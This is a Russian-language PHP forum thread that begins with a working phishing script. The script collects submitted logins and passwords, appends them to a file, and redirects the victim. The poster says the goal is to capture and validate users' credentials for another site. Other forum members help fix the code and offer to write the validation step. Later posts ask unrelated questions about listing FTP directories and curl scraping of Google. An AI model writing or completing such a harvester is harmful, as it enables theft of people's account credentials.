PHP: <?PHP $Login = $_POST['login']; // Логин $Pass = $_POST['passwd']; // Пароль if($_SERVER['HTTP_REFERER']=='site.ru' && $Login && $Pass && $Login!=' ' && $Pass!=' ') { $log = fopen("base.php","a+"); //открываем файл базы fwrite($log,"\n$Login:$Pass\n"); //записываем всё fclose($log); //закрываем header("Location: /service.html"); } else { header("Location: /error2.html"); } ?>
Подскажите какой командой можно узнать имена всех директорий на ftp сервере? Подключаюсь через стандартную функцию ftp_connect. Вроде нашла ftp_rawlist. Но он выводит список всех файлов и дир. Как узнать что это директория не используя регулярок и substr
попробуй так т.е. скрипт проверяет, если нужный сайт и нужный пасс и нужный пароль то запишим иначе при не соотвецтвии вывидем ошибку...
PHP: if($_SERVER['HTTP_REFERER']=='site.ru' && $Login='твой логин ' && $Pass!=' твой пасс') надо так тогда уж : PHP: if($_SERVER['HTTP_REFERER']=='site.ru' && $Login=='твой логин ' && $Pass==' твой пасс') т.к получается у тебя в условии присовение. Да и ты сверяешь если пароль не равен... как так? А вообще автор, выведи $_SERVER['HTTP_REFERER'] и посмотри с тем ли ты сравниваешь... может там с www. регистр.. если не срабоатет то попробуй в условии через isset() проверять есть что-то в логин или нет. и пароль так-же или !emtpy
winstrool и -=Zhenek=- вы кажется меня не совсем правильно поняли. На моём сайте пользователь должен ввести свой логин и пароль от некого сайта. Если пара логин:пароль от этого сайта верна, то записываем её в base и шлём юзера на страницу моего сервиса, а если не верна или поля пустые, то показываем страницу с ошибкой, где юзера просится ввести заново верные данные.
huzker2 тогда делай функцию проверки на валидность пары логин и пасс. она возвращает труе или фалзе. и тоже самое, только еще смотри чтоб функция не вернула фалзе иначе на страницу ошибки
да я так и предполагал, только вот не знаю как это всё корректно написать, пхп едва знаю. Один не верный знак и уже ничего не пашет
huzker2 давай определимся..Ты ждеш именно конкретный логин? Или собираешь все но валидные 100%? Если второй вариант,то нужно писать авторизацию того сайта.. Для этого хотяб нада знать его урл. Если первый то выше дан ответ
поидеи этот скрипт можно адоптировать под необходимые ему функции и с mysql но для этого как минимум нужны минимальные знания которые как я понимаю у ТС нет....
Народ нужна помощ... Парюсь уже незнаю сколько... Что тут в этом коде нехватает или что нужно сделать чтоб небыло таких каракуль... http://www.image-share.com/ijpg-617-193.html вот код.... PHP: $grabr = curl_init("http://www.google.lv/search?num=30&q=kluchevojeslovo&hl=ru"); curl_setopt($grabr, CURLOPT_RETURNTRANSFER, 2); curl_setopt($grabr, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($grabr, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12'); $headers = array ( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding: gzip,deflate', 'Accept-Charset: utf-8;q=0.7,*;q=0.7' ); curl_setopt($grabr, CURLOPT_ENCODING, "gzip"); curl_setopt($grabr, CURLOPT_HTTPHEADER,$headers); curl_setopt($grabr, CURLOPT_REFERER, 'http://www.google.lv'); curl_setopt($grabr, CURLOPT_HEADER, 1); $ffr = curl_exec($grabr); curl_close($grabr); file_put_contents('hmm.html',$ffr); Непоиму в чём дело =[[ Помогите...
как её передать ? вроде вить передал. Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Это гугл выдал такие хеадеры А вот и мой хеадер.. PHP: $headers = array ( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: en-us,en;q=0.5', 'Accept-Encoding: gzip,deflate', 'Accept-Charset: UTF-8;q=0.7,*;q=0.7' ); А вот и сам файл что сохраняет филэ_пут_контентс http://www.sendspace.com/file/6wicdd